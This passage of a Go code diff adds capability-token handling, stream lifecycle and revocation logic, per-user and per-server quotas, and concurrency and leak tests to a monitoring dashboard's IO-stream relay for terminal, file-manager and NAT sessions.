access.ResourceID++ }}, + {name: "server", mutate: func(access *AgentCompatCapabilityAccess) { access.TargetServerID++ }}, + {name: "access proof", mutate: func(access *AgentCompatCapabilityAccess) { access.ServerAccessAllowed = false }}, + } + for _, mutation := range mutations { + t.Run(mutation.name, func(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 36, 46, 58, 68) + access := capabilityAccess(capability, registration) + mutation.mutate(&access) + + _, err := handler.ConsumeAgentCompatNATCapability(access) + + require.True(t, errors.Is(err, ErrAgentCompatCapabilityHidden)) + }) + } +} + +func TestAgentCompatCapabilityCancelBeforeBindWakesWaiterAndPreventsBind(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(37, 47), AgentCompatCapabilityTerminal, 59, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + access := capabilityAccess(capability, registration) + started := make(chan struct{}) + var observed atomic.Bool + handler.setAgentCompatCapabilityWaitObserverForTest(func() { + if observed.CompareAndSwap(false, true) { + close(started) + } + }) + result := make(chan error, 1) + waitCtx := agentCompatCapabilityTestContext(t) + go func() { + _, waitErr := handler.WaitAgentCompatIOStreamCapability(waitCtx, access) + result <- waitErr + }() + awaitAgentCompatCapabilitySignal(t, started, "wait observer did not start") + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.ErrorIs(t, receiveAgentCompatCapabilityError(t, result, "canceled waiter did not return"), ErrAgentCompatCapabilityHidden) + require.NoError(t, handler.CreateStreamWithPurpose("after-cancel", 47, 59, PurposeTerminal)) + require.ErrorIs(t, handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: "after-cancel"}), ErrAgentCompatCapabilityHidden) +} diff --git a/service/rpc/io_stream_capability_state_agentcompat.go b/service/rpc/io_stream_capability_state_agentcompat.go new file mode 100644 index 00000000..fe2a4797 --- /dev/null +++ b/service/rpc/io_stream_capability_state_agentcompat.go @@ -0,0 +1,78 @@ +//go:build agentcompat + +package rpc + +import ( + "crypto/rand" +) + +type agentCompatCapabilityPhase uint8 + +const ( + agentCompatCapabilityRegistered agentCompatCapabilityPhase = iota + 1 + agentCompatCapabilityConsumed + agentCompatCapabilityPublished +) + +const ( + agentCompatCapabilityMaxActivePerPAT = 16 + agentCompatCapabilityMaxActiveGlobal = 128 + agentCompatCapabilityMaxProcessMints = 4096 +) + +type agentCompatCapabilityRegistration struct { + registration AgentCompatCapabilityRegistration + phase agentCompatCapabilityPhase + generation uint64 + streamID string + stream *ioStreamContext + notify chan struct{} +} + +type agentCompatCapabilityState struct { + active map[string]*agentCompatCapabilityRegistration + activeByPAT map[uint64]uint16 + // Used tokens are process-lifetime tombstones; deletion never makes a capability reusable. + used map[string]struct{} + tokenSource func([]byte) error + nextIdentity uint64 + waitObserver func() + publishObserver func() +} + +func (s *NezhaHandler) initializeAgentCompatCapabilities() { + s.agentCompatCapabilities.active = make(map[string]*agentCompatCapabilityRegistration) + s.agentCompatCapabilities.activeByPAT = make(map[uint64]uint16) + s.agentCompatCapabilities.used = make(map[string]struct{}) + s.agentCompatCapabilities.tokenSource = func(destination []byte) error { + _, err := rand.Read(destination) + return err + } +} + +func (s *NezhaHandler) setAgentCompatCapabilityTokenSourceForTest(source func([]byte) error) { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + s.agentCompatCapabilities.tokenSource = source +} + +func (s *NezhaHandler) setAgentCompatCapabilityWaitObserverForTest(observer func()) { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + s.agentCompatCapabilities.waitObserver = observer +} + +func (s *NezhaHandler) setAgentCompatCapabilityPublishObserverForTest(observer func()) { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + s.agentCompatCapabilities.publishObserver = observer +} + +func (s *NezhaHandler) SetAgentCompatCapabilityPublishObserverForTest(observer func()) { + s.setAgentCompatCapabilityPublishObserverForTest(observer) +} + +func (registration *agentCompatCapabilityRegistration) publishLocked() { + close(registration.notify) + registration.notify = make(chan struct{}) +} diff --git a/service/rpc/io_stream_capability_state_default.go b/service/rpc/io_stream_capability_state_default.go new file mode 100644 index 00000000..f1243812 --- /dev/null +++ b/service/rpc/io_stream_capability_state_default.go @@ -0,0 +1,9 @@ +//go:build !agentcompat + +package rpc + +type agentCompatCapabilityState struct{} + +type agentCompatCapabilityRegistration struct{} + +func (*NezhaHandler) initializeAgentCompatCapabilities() {} diff --git a/service/rpc/io_stream_capability_test_helpers_agentcompat_test.go b/service/rpc/io_stream_capability_test_helpers_agentcompat_test.go new file mode 100644 index 00000000..48404b95 --- /dev/null +++ b/service/rpc/io_stream_capability_test_helpers_agentcompat_test.go @@ -0,0 +1,38 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "testing" + "time" +) + +const agentCompatCapabilityTestTimeout = 5 * time.Second + +func agentCompatCapabilityTestContext(t *testing.T) context.Context { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), agentCompatCapabilityTestTimeout) + t.Cleanup(cancel) + return ctx +} + +func awaitAgentCompatCapabilitySignal(t *testing.T, signal <-chan struct{}, failureMessage string) { + t.Helper() + select { + case <-signal: + case <-agentCompatCapabilityTestContext(t).Done(): + t.Fatal(failureMessage) + } +} + +func receiveAgentCompatCapabilityError(t *testing.T, result <-chan error, failureMessage string) error { + t.Helper() + select { + case err := <-result: + return err + case <-agentCompatCapabilityTestContext(t).Done(): + t.Fatal(failureMessage) + return nil + } +} diff --git a/service/rpc/io_stream_capability_types.go b/service/rpc/io_stream_capability_types.go new file mode 100644 index 00000000..2593bccf --- /dev/null +++ b/service/rpc/io_stream_capability_types.go @@ -0,0 +1,93 @@ +package rpc + +import ( + "encoding/base64" + "errors" +) + +var ( + ErrAgentCompatCapabilityUnavailable = errors.New("agentcompat IOStream capability unavailable") + ErrAgentCompatCapabilityHidden = errors.New("agentcompat IOStream capability unavailable") + ErrAgentCompatCapabilityConflict = errors.New("agentcompat IOStream capability conflict") + ErrAgentCompatCapabilityBound = errors.New("agentcompat IOStream capability has a live bound stream") + ErrAgentCompatCapabilityTokenExhausted = errors.New("agentcompat IOStream capability token attempts exhausted") +) + +type AgentCompatCapabilityPurpose uint8 + +const ( + AgentCompatCapabilityTerminal AgentCompatCapabilityPurpose = iota + 1 + AgentCompatCapabilityFileManager + AgentCompatCapabilityNAT +) + +func (purpose AgentCompatCapabilityPurpose) streamPurpose() StreamPurpose { + switch purpose { + case AgentCompatCapabilityTerminal: + return PurposeTerminal + case AgentCompatCapabilityFileManager: + return PurposeFileManager + case AgentCompatCapabilityNAT: + return PurposeNAT + default: + return PurposeLegacy + } +} + +type AgentCompatCapabilityOwner struct { + PATID uint64 + UserID uint64 + IsAdmin bool +} + +type AgentCompatCapabilityRegistration struct { + Owner AgentCompatCapabilityOwner + Purpose AgentCompatCapabilityPurpose + TargetServerID uint64 + ResourceID uint64 + ServerAccessAllowed bool +} + +type AgentCompatIOStreamCapability struct{ value string } + +func (capability AgentCompatIOStreamCapability) String() string { return capability.value } + +func ParseAgentCompatIOStreamCapability(value string) (AgentCompatIOStreamCapability, error) { + raw, err := base64.RawURLEncoding.DecodeString(value) + if err != nil || len(raw) != 32 { + return AgentCompatIOStreamCapability{}, ErrAgentCompatCapabilityHidden + } + return AgentCompatIOStreamCapability{value: value}, nil +} + +type AgentCompatCapabilityAccess struct { + Capability AgentCompatIOStreamCapability + Owner AgentCompatCapabilityOwner + Purpose AgentCompatCapabilityPurpose + TargetServerID uint64 + ResourceID uint64 + ServerAccessAllowed bool +} + +type AgentCompatCapabilityBinding struct { + AgentCompatCapabilityAccess + StreamID string +} + +type AgentCompatNATPublishHandle struct { + registration *agentCompatCapabilityRegistration + generation uint64 + capability string +} + +type AgentCompatNATStreamLease struct { + streamID string + stream *ioStreamContext +} + +type AgentCompatNATPublication struct { + Purpose AgentCompatCapabilityPurpose + TargetServerID uint64 + ResourceID uint64 + StreamID string +} diff --git a/service/rpc/io_stream_leak_test.go b/service/rpc/io_stream_leak_test.go new file mode 100644 index 00000000..8ec51060 --- /dev/null +++ b/service/rpc/io_stream_leak_test.go @@ -0,0 +1,67 @@ +package rpc + +import ( + "runtime" + "testing" + "time" +) + +// settleGoroutines lets transient goroutines wind down so the count reflects +// only durable leaks, not in-flight teardown. +func settleGoroutines() int { + var n int + for i := 0; i < 50; i++ { + runtime.GC() + time.Sleep(20 * time.Millisecond) + n = runtime.NumGoroutine() + } + return n +} + +// TestStartStream_NoGoroutineLeakAfterClose verifies the bidirectional relay in +// StartStream does not strand a goroutine. StartStream launches two +// io.CopyBuffer goroutines (user<-agent and agent<-user) but returns after the +// first one finishes. The second goroutine stays blocked in CopyBuffer until +// its endpoints are closed. CloseStream closes both endpoints, which must +// unblock and drain that second goroutine. If it doesn't, every terminal / fm / +// NAT session leaks one goroutine for the lifetime of the dashboard. +func TestStartStream_NoGoroutineLeakAfterClose(t *testing.T) { + base := settleGoroutines() + + const n = 20 + for i := 0; i < n; i++ { + h := NewNezhaHandler() + const id = "leak-stream" + + if err := h.CreateStream(id, 1, 1); err != nil { + t.Fatalf("CreateStream: %v", err) + } + + userIo, agentIo := newPipeReadWriter(), newPipeReadWriter() + h.AgentConnected(id, agentIo) + h.UserConnected(id, userIo) + + done := make(chan struct{}) + go func() { + _ = h.StartStream(id, time.Second*5) + close(done) + }() + + // Close one endpoint so the first CopyBuffer returns and StartStream + // unblocks, mirroring a peer disconnect. + time.Sleep(10 * time.Millisecond) + userIo.Close() + <-done + + // The caller's defer CloseStream closes both endpoints, which must + // drain the still-blocked second copy goroutine. + _ = h.CloseStream(id) + agentIo.Close() + } + + after := settleGoroutines() + if grew := after - base; grew > 2 { + t.Fatalf("goroutine leak in StartStream relay: ran %d streams, goroutines grew by %d (base=%d after=%d)", + n, grew, base, after) + } +} diff --git a/service/rpc/io_stream_lifecycle.go b/service/rpc/io_stream_lifecycle.go new file mode 100644 index 00000000..4e158167 --- /dev/null +++ b/service/rpc/io_stream_lifecycle.go @@ -0,0 +1,128 @@ +package rpc + +import ( + "context" + "errors" + "io" + "time" +) + +type ioStreamDetach struct { + stream *ioStreamContext + endpoints []io.ReadWriteCloser +} + +func detachStreamLocked(streamID string, retainedStream *ioStreamContext, streams map[string]*ioStreamContext) (ioStreamDetach, bool) { + current, live := streams[streamID] + if streamID == "" || !live || current != retainedStream { + return ioStreamDetach{}, false + } + retainedStream.revoke() + endpoints := make([]io.ReadWriteCloser, 0, 2) + if retainedStream.userIo != nil { + endpoints = append(endpoints, retainedStream.userIo) + } + if retainedStream.agentIo != nil { + endpoints = append(endpoints, retainedStream.agentIo) + } + delete(streams, streamID) + return ioStreamDetach{stream: retainedStream, endpoints: endpoints}, true +} + +func (s *NezhaHandler) detachExactStream(streamID string, retainedStream *ioStreamContext) error { + s.ioStreamMutex.Lock() + detached, ok := detachStreamLocked(streamID, retainedStream, s.ioStreams) + if !ok { + s.ioStreamMutex.Unlock() + return nil + } + s.publishIOStreamStateChangeLocked() + s.ioStreamMutex.Unlock() + + var closeErrors []error + for _, endpoint := range detached.endpoints { + if err := endpoint.Close(); err != nil { + closeErrors = append(closeErrors, err) + } + } + return errors.Join(closeErrors...) +} + +func (s *NezhaHandler) detachStreams(shouldDetach func(*ioStreamContext) bool) (int, error) { + s.ioStreamMutex.Lock() + detached := make([]ioStreamDetach, 0) + for streamID, stream := range s.ioStreams { + if !shouldDetach(stream) { + continue + } + item, ok := detachStreamLocked(streamID, stream, s.ioStreams) + if ok { + detached = append(detached, item) + } + } + if len(detached) > 0 { + s.publishIOStreamStateChangeLocked() + } + s.ioStreamMutex.Unlock() + + var closeErrors []error + for _, item := range detached { + // Registry publication must precede endpoint Close so Close implementations may reenter safely. + for _, endpoint := range item.endpoints { + if err := endpoint.Close(); err != nil { + closeErrors = append(closeErrors, err) + } + } + } + return len(detached), errors.Join(closeErrors...) +} + +func (s *NezhaHandler) CloseStream(streamID string) error { + _, err := s.detachStreams(func(stream *ioStreamContext) bool { + return stream != nil && streamID != "" && stream == s.ioStreams[streamID] + }) + return err +} + +func (s *NezhaHandler) WaitForAgent(ctx context.Context, streamID string, timeout time.Duration) (io.ReadWriteCloser, bool) { + deadline := time.NewTimer(timeout) + defer deadline.Stop() + for { + s.ioStreamMutex.RLock() + stream, ok := s.ioStreams[streamID] + if ok && stream.agentIo != nil { + agentIo := stream.agentIo + s.ioStreamMutex.RUnlock() + return agentIo, true + } + if !ok { + s.ioStreamMutex.RUnlock() + return nil, false + } + revokedCh := stream.revokedCh + agentIoConnectCh := stream.agentIoConnectCh + stream.waitStartedOnce.Do(func() { close(stream.waitStartedCh) }) + s.ioStreamMutex.RUnlock() + select { + case <-ctx.Done(): + return nil, false + case <-deadline.C: + return nil, false + case <-revokedCh: + return nil, false + case <-agentIoConnectCh: + } + } +} + +func (s *NezhaHandler) RevokeStreamsForServer(serverID uint64) { + if serverID == 0 { + return + } + _, _ = s.detachStreams(func(stream *ioStreamContext) bool { return stream.targetServerID == serverID }) +} + +func (s *NezhaHandler) RevokeStreamsForPurpose(purpose StreamPurpose) int { + revoked, _ := s.detachStreams(func(stream *ioStreamContext) bool { return stream.purpose == purpose }) + return revoked +} diff --git a/service/rpc/io_stream_lifecycle_test.go b/service/rpc/io_stream_lifecycle_test.go new file mode 100644 index 00000000..879bebed --- /dev/null +++ b/service/rpc/io_stream_lifecycle_test.go @@ -0,0 +1,259 @@ +package rpc + +import ( + "context" + "errors" + "io" + "testing" + "time" +) + +type lifecycleRWC struct { + closed chan struct{} +} + +type reenteringErrorRWC struct { + handler *NezhaHandler + streamID string + err error +} + +func (stream *reenteringErrorRWC) Read([]byte) (int, error) { return 0, io.EOF } +func (stream *reenteringErrorRWC) Write(data []byte) (int, error) { return len(data), nil } +func (stream *reenteringErrorRWC) Close() error { + if _, ok := stream.handler.StreamOwnership(stream.streamID); ok { + return errors.Join(stream.err, errors.New("stream remained registered during endpoint close")) + } + return stream.err +} + +func newLifecycleRWC() *lifecycleRWC { + return &lifecycleRWC{closed: make(chan struct{})} +} + +func (stream *lifecycleRWC) Read([]byte) (int, error) { return 0, io.EOF } +func (stream *lifecycleRWC) Write(data []byte) (int, error) { return len(data), nil } +func (stream *lifecycleRWC) Close() error { + select { + case <-stream.closed: + default: + close(stream.closed) + } + return nil +} + +func TestIOStreamValidCreateAttachCloseLifecycle(t *testing.T) { + handler := NewNezhaHandler() + user := newLifecycleRWC() + agent := newLifecycleRWC() + if err := handler.CreateStream("valid-lifecycle", 11, 22); err != nil { + t.Fatalf("Given a new stream, CreateStream failed: %v", err) + } + if err := handler.UserConnected("valid-lifecycle", user); err != nil { + t.Fatalf("Given a tracked stream, UserConnected failed: %v", err) + } + if err := handler.AgentConnected("valid-lifecycle", agent); err != nil { + t.Fatalf("Given a tracked stream, AgentConnected failed: %v", err) + } + if _, ok := handler.StreamOwnership("valid-lifecycle"); !ok { + t.Fatal("Then a valid attached stream must remain tracked") + } + if err := handler.CloseStream("valid-lifecycle"); err != nil { + t.Fatalf("When closing the valid stream, CloseStream failed: %v", err) + } + if _, ok := handler.StreamOwnership("valid-lifecycle"); ok { + t.Fatal("Then CloseStream must remove the tracked stream") + } +} + +func TestCreateStreamKeepsExistingStreamWhenIDIsDuplicated(t *testing.T) { + handler := NewNezhaHandler() + original := newLifecycleRWC() + if err := handler.CreateStream("duplicate-id", 11, 22); err != nil { + t.Fatalf("Given a new stream ID, CreateStream failed: %v", err) + } + if err := handler.AgentConnected("duplicate-id", original); err != nil { + t.Fatalf("Given a live stream, AgentConnected failed: %v", err) + } + + err := handler.CreateStream("duplicate-id", 33, 44) + if !errors.Is(err, ErrStreamAlreadyExists) { + t.Fatalf("When reusing a live ID, expected ErrStreamAlreadyExists, got %v", err) + } + owner, found := handler.StreamOwnership("duplicate-id") + if !found || owner != 11 { + t.Fatalf("Then the original stream ownership must remain, found=%v owner=%d", found, owner) + } + select { + case <-original.closed: + t.Fatal("Then duplicate creation must not close the original endpoint") + default: + } +} + +func TestAgentConnectedRejectsDuplicateEndpointWithoutReplacingLiveRelay(t *testing.T) { + handler := NewNezhaHandler() + first := newLifecycleRWC() + second := newLifecycleRWC() + if err := handler.CreateStream("agent-once", 11, 22); err != nil { + t.Fatalf("Given a new stream, CreateStream failed: %v", err) + } + if err := handler.AgentConnected("agent-once", first); err != nil { + t.Fatalf("Given no agent endpoint, AgentConnected failed: %v", err) + } + if err := handler.AgentConnected("agent-once", second); !errors.Is(err, ErrAgentStreamAlreadyConnected) { + t.Fatalf("When attaching a second agent endpoint, expected ErrAgentStreamAlreadyConnected, got %v", err) + } + endpoints, err := handler.GetStream("agent-once") + if err != nil || endpoints.agentIo != first { + t.Fatalf("Then the first endpoint must remain attached, err=%v", err) + } + select { + case <-second.closed: + default: + t.Fatal("Then the rejected duplicate endpoint must be closed") + } +} + +func TestCloseStreamWakesWaitForAgentAndAllowsSlotReuse(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("wait-close", 11, 22); err != nil { + t.Fatalf("Given a pending stream, CreateStream failed: %v", err) + } + stream, err := handler.GetStream("wait-close") + if err != nil { + t.Fatalf("Given a created stream, GetStream failed: %v", err) + } + result := make(chan bool, 1) + go func() { + _, ok := handler.WaitForAgent(context.Background(), "wait-close", time.Minute) + result <- ok + }() + select { + case <-stream.waitStartedCh: + case <-time.After(time.Second): + t.Fatal("WaitForAgent did not enter its blocking select") + } + + if err := handler.CloseStream("wait-close"); err != nil { + t.Fatalf("When closing a pending stream, CloseStream failed: %v", err) + } + select { + case ok := <-result: + if ok { + t.Fatal("Then WaitForAgent must report no attached agent") + } + case <-time.After(time.Second): + t.Fatal("Then CloseStream must wake WaitForAgent") + } + if err := handler.CreateStream("wait-close-reused", 11, 22); err != nil { + t.Fatalf("Then the released user/server slot must be reusable: %v", err) + } +} + +func TestRevokeStreamsForPurposeWakesWaitForAgentAndIsRepeatable(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStreamWithPurpose("revoke-wait", 0, 22, PurposeMCPTransfer); err != nil { + t.Fatalf("Given a pending MCP stream, CreateStream failed: %v", err) + } + stream, err := handler.GetStream("revoke-wait") + if err != nil { + t.Fatalf("Given a created stream, GetStream failed: %v", err) + } + result := make(chan bool, 1) + go func() { + _, ok := handler.WaitForAgent(context.Background(), "revoke-wait", time.Minute) + result <- ok + }() + select { + case <-stream.waitStartedCh: + case <-time.After(time.Second): + t.Fatal("WaitForAgent did not enter its blocking select") + } + + if revoked := handler.RevokeStreamsForPurpose(PurposeMCPTransfer); revoked != 1 { + t.Fatalf("When revoking the purpose, expected one stream, got %d", revoked) + } + if revoked := handler.RevokeStreamsForPurpose(PurposeMCPTransfer); revoked != 0 { + t.Fatalf("When repeating revocation, expected zero streams, got %d", revoked) + } + select { + case ok := <-result: + if ok { + t.Fatal("Then WaitForAgent must report no attached agent") + } + case <-time.After(time.Second): + t.Fatal("Then revocation must wake WaitForAgent") + } +} + +func TestCloseStreamDetachesBeforeReenteringEndpointCloseAndJoinsErrors(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("close-errors", 1, 1); err != nil { + t.Fatal(err) + } + firstErr := errors.New("first close error") + secondErr := errors.New("second close error") + if err := handler.UserConnected("close-errors", &reenteringErrorRWC{handler: handler, streamID: "close-errors", err: firstErr}); err != nil { + t.Fatal(err) + } + if err := handler.AgentConnected("close-errors", &reenteringErrorRWC{handler: handler, streamID: "close-errors", err: secondErr}); err != nil { + t.Fatal(err) + } + err := handler.CloseStream("close-errors") + if !errors.Is(err, firstErr) || !errors.Is(err, secondErr) { + t.Fatalf("close errors were not joined: %v", err) + } +} + +func TestStartStreamReturnsImmediatelyWhenRevoked(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("start-revoked", 1, 1); err != nil { + t.Fatal(err) + } + result := make(chan error, 1) + go func() { result <- handler.StartStream("start-revoked", time.Minute) }() + if revoked := handler.RevokeStreamsForPurpose(PurposeLegacy); revoked != 1 { + t.Fatalf("revoked streams: %d", revoked) + } + select { + case err := <-result: + if err == nil { + t.Fatal("revoked StartStream must return an error") + } + case <-time.After(time.Second): + t.Fatal("StartStream did not wake on revoke") + } +} + +func TestConcurrentCloseAndRevokePublishOneGeneration(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("single-generation", 1, 1); err != nil { + t.Fatal(err) + } + start := handler.SnapshotIOStreamState() + closeDone := make(chan struct{}) + revokeDone := make(chan struct{}) + go func() { + _ = handler.CloseStream("single-generation") + close(closeDone) + }() + go func() { + handler.RevokeStreamsForPurpose(PurposeLegacy) + close(revokeDone) + }() + select { + case <-closeDone: + case <-time.After(time.Second): + t.Fatal("CloseStream did not complete") + } + select { + case <-revokeDone: + case <-time.After(time.Second): + t.Fatal("RevokeStreamsForPurpose did not complete") + } + state := handler.SnapshotIOStreamState() + if state.Count != 0 || state.Generation != start.Generation+1 { + t.Fatalf("single detach publication: start=%+v final=%+v", start, state) + } +} diff --git a/service/rpc/io_stream_quota.go b/service/rpc/io_stream_quota.go new file mode 100644 index 00000000..dd5571cc --- /dev/null +++ b/service/rpc/io_stream_quota.go @@ -0,0 +1,62 @@ +package rpc + +import "errors" + +const ( + maxStreamsPerUser = 20 + maxStreamsPerServer = 40 +) + +var ( + ErrTooManyStreamsForUser = errors.New("too many concurrent streams for this user") + ErrTooManyStreamsForServer = errors.New("too many concurrent streams for this server") + ErrStreamAlreadyExists = errors.New("stream already exists") +) + +func (s *NezhaHandler) CreateStream(streamId string, creatorUserID uint64, targetServerID uint64) error { + return s.CreateStreamWithPurpose(streamId, creatorUserID, targetServerID, PurposeLegacy) +} + +func (s *NezhaHandler) CreateStreamWithPurpose(streamId string, creatorUserID uint64, targetServerID uint64, purpose StreamPurpose) error { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + return s.createStreamLocked(streamId, creatorUserID, targetServerID, purpose) +} + +func (s *NezhaHandler) createStreamLocked(streamId string, creatorUserID uint64, targetServerID uint64, purpose StreamPurpose) error { + if _, exists := s.ioStreams[streamId]; exists { + // Stream IDs identify live relay ownership; never overwrite one or orphan its endpoint. + return ErrStreamAlreadyExists + } + + var perUser, perServer int + for _, ctx := range s.ioStreams { + if creatorUserID != 0 && ctx.creatorUserID == creatorUserID { + perUser++ + } + if ctx.targetServerID == targetServerID { + perServer++ + } + } + // creatorUserID==0 is a dashboard-internal stream (NAT, server transfer, + // MCP transfer); only end-user-initiated streams are capped per user, but + // every stream counts toward the per-server cap so one server cannot be + // flooded regardless of who opened the streams. + if creatorUserID != 0 && perUser >= maxStreamsPerUser { + return ErrTooManyStreamsForUser + } + if perServer >= maxStreamsPerServer { + return ErrTooManyStreamsForServer + } + + s.ioStreams[streamId] = newIOStreamContext(creatorUserID, targetServerID, purpose) + s.publishIOStreamStateChangeLocked() + return nil +} + +// StreamCount reports the registry size under the same lock used by lifecycle mutations. +func (s *NezhaHandler) StreamCount() int { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + return len(s.ioStreams) +} diff --git a/service/rpc/io_stream_quota_agentcompat.go b/service/rpc/io_stream_quota_agentcompat.go new file mode 100644 index 00000000..8966292d --- /dev/null +++ b/service/rpc/io_stream_quota_agentcompat.go @@ -0,0 +1,144 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "errors" + "fmt" + "time" +) + +type IOStreamQuotaProbeResult struct { + UserAccepted int + UserRejected int + ServerAccepted int + ServerRejected int + TrackedStreams int + WaitForAgentWokeOnClose bool + UserSlotReused bool + UserBoundaryError error + ServerBoundaryError error + Err error +} + +func RunIOStreamQuotaProbe(ctx context.Context) IOStreamQuotaProbeResult { + if err := ctx.Err(); err != nil { + return IOStreamQuotaProbeResult{Err: err} + } + h := NewNezhaHandler() + result := IOStreamQuotaProbeResult{} + defer func() { + h.ioStreamMutex.RLock() + streamIDs := make([]string, 0, len(h.ioStreams)) + for streamID := range h.ioStreams { + streamIDs = append(streamIDs, streamID) + } + h.ioStreamMutex.RUnlock() + for _, streamID := range streamIDs { + _ = h.CloseStream(streamID) + } + }() + for i := 0; i < maxStreamsPerUser; i++ { + if err := h.CreateStream(fmt.Sprintf("probe-user-%d", i), 101, uint64(i+1)); err != nil { + result.Err = fmt.Errorf("create user stream %d: %w", i, err) + return result + } + result.UserAccepted++ + } + result.UserBoundaryError = h.CreateStream("probe-user-over", 101, 500) + if !errors.Is(result.UserBoundaryError, ErrTooManyStreamsForUser) { + result.Err = fmt.Errorf("user boundary returned %v", result.UserBoundaryError) + return result + } + result.UserRejected = 1 + + for i := 0; i < maxStreamsPerServer; i++ { + if err := h.CreateStream(fmt.Sprintf("probe-server-%d", i), uint64(i+1000), 700); err != nil { + result.Err = fmt.Errorf("create server stream %d: %w", i, err) + return result + } + result.ServerAccepted++ + } + result.ServerBoundaryError = h.CreateStream("probe-server-over", 2000, 700) + if !errors.Is(result.ServerBoundaryError, ErrTooManyStreamsForServer) { + result.Err = fmt.Errorf("server boundary returned %v", result.ServerBoundaryError) + return result + } + result.ServerRejected = 1 + + if err := h.CloseStream("probe-user-0"); err != nil { + result.Err = fmt.Errorf("close stale user slot: %w", err) + return result + } + if err := h.CreateStream("probe-user-reused", 101, 501); err != nil { + result.Err = fmt.Errorf("reuse stale user slot: %w", err) + return result + } + result.UserSlotReused = true + + if err := h.CreateStream("probe-wait", 0, 502); err != nil { + result.Err = fmt.Errorf("create cancellation probe stream: %w", err) + return result + } + waitStream, err := h.GetStream("probe-wait") + if err != nil { + result.Err = fmt.Errorf("get cancellation probe stream: %w", err) + return result + } + waitResult := make(chan bool, 1) + go func() { + _, ok := h.WaitForAgent(ctx, "probe-wait", 30*time.Second) + waitResult <- ok + }() + select { + case <-waitStream.waitStartedCh: + case <-ctx.Done(): + result.Err = ctx.Err() + return result + } + if err := h.CloseStream("probe-wait"); err != nil { + result.Err = fmt.Errorf("close cancellation probe stream: %w", err) + return result + } + select { + case ok := <-waitResult: + result.WaitForAgentWokeOnClose = !ok + case <-ctx.Done(): + result.Err = ctx.Err() + return result + } + if !result.WaitForAgentWokeOnClose { + result.Err = errors.New("WaitForAgent did not wake after stream close") + return result + } + + for i := 0; i < maxStreamsPerUser; i++ { + if err := h.CloseStream(fmt.Sprintf("probe-user-%d", i)); err != nil { + result.Err = fmt.Errorf("close user stream %d: %w", i, err) + return result + } + if err := h.CloseStream(fmt.Sprintf("probe-user-%d", i)); err != nil { + result.Err = fmt.Errorf("repeat close user stream %d: %w", i, err) + return result + } + } + if err := h.CloseStream("probe-user-reused"); err != nil { + result.Err = fmt.Errorf("close reused user slot: %w", err) + return result + } + for i := 0; i < maxStreamsPerServer; i++ { + if err := h.CloseStream(fmt.Sprintf("probe-server-%d", i)); err != nil { + result.Err = fmt.Errorf("close server stream %d: %w", i, err) + return result + } + } + if err := ctx.Err(); err != nil { + result.Err = err + return result + } + h.ioStreamMutex.RLock() + result.TrackedStreams = len(h.ioStreams) + h.ioStreamMutex.RUnlock() + return result +} diff --git a/service/rpc/io_stream_quota_agentcompat_test.go b/service/rpc/io_stream_quota_agentcompat_test.go new file mode 100644 index 00000000..84060e0f --- /dev/null +++ b/service/rpc/io_stream_quota_agentcompat_test.go @@ -0,0 +1,77 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "errors" + "fmt" + "sync" + "testing" +) + +func TestAgentCompatIOStreamQuotaProbe(t *testing.T) { + result := RunIOStreamQuotaProbe(context.Background()) + if result.Err != nil { + t.Fatalf("quota probe failed: %v", result.Err) + } + if result.UserAccepted != maxStreamsPerUser || result.UserRejected != 1 { + t.Fatalf("unexpected user boundary counts: accepted=%d rejected=%d", result.UserAccepted, result.UserRejected) + } + if result.ServerAccepted != maxStreamsPerServer || result.ServerRejected != 1 { + t.Fatalf("unexpected server boundary counts: accepted=%d rejected=%d", result.ServerAccepted, result.ServerRejected) + } + if result.TrackedStreams != 0 { + t.Fatalf("probe left tracked streams: %d", result.TrackedStreams) + } + if !result.WaitForAgentWokeOnClose { + t.Fatal("probe did not prove WaitForAgent wakes after real stream close") + } + if !result.UserSlotReused { + t.Fatal("probe did not prove a released user slot was reusable") + } +} + +func TestAgentCompatIOStreamQuotaProbeUsesProductionSeam(t *testing.T) { + result := RunIOStreamQuotaProbe(context.Background()) + if !errors.Is(result.UserBoundaryError, ErrTooManyStreamsForUser) { + t.Fatalf("user rejection must preserve production error, got %v", result.UserBoundaryError) + } + if !errors.Is(result.ServerBoundaryError, ErrTooManyStreamsForServer) { + t.Fatalf("server rejection must preserve production error, got %v", result.ServerBoundaryError) + } +} + +func TestAgentCompatIOStreamQuotaProbeConcurrentBoundaryCalls(t *testing.T) { + h := NewNezhaHandler() + const userID, serverID = uint64(701), uint64(901) + var wg sync.WaitGroup + results := make(chan error, maxStreamsPerUser+1) + for i := 0; i < maxStreamsPerUser+1; i++ { + wg.Add(1) + go func(index int) { + defer wg.Done() + results <- h.CreateStream(fmt.Sprintf("concurrent-user-%d", index), userID, serverID+uint64(index)) + }(i) + } + wg.Wait() + close(results) + accepted, rejected := 0, 0 + for err := range results { + if err == nil { + accepted++ + continue + } + if errors.Is(err, ErrTooManyStreamsForUser) { + rejected++ + continue + } + t.Fatalf("unexpected concurrent boundary error: %v", err) + } + if accepted != maxStreamsPerUser || rejected != 1 { + t.Fatalf("unexpected concurrent boundary counts: accepted=%d rejected=%d", accepted, rejected) + } + for i := 0; i < maxStreamsPerUser+1; i++ { + _ = h.CloseStream(fmt.Sprintf("concurrent-user-%d", i)) + } +} diff --git a/service/rpc/io_stream_quota_test.go b/service/rpc/io_stream_quota_test.go new file mode 100644 index 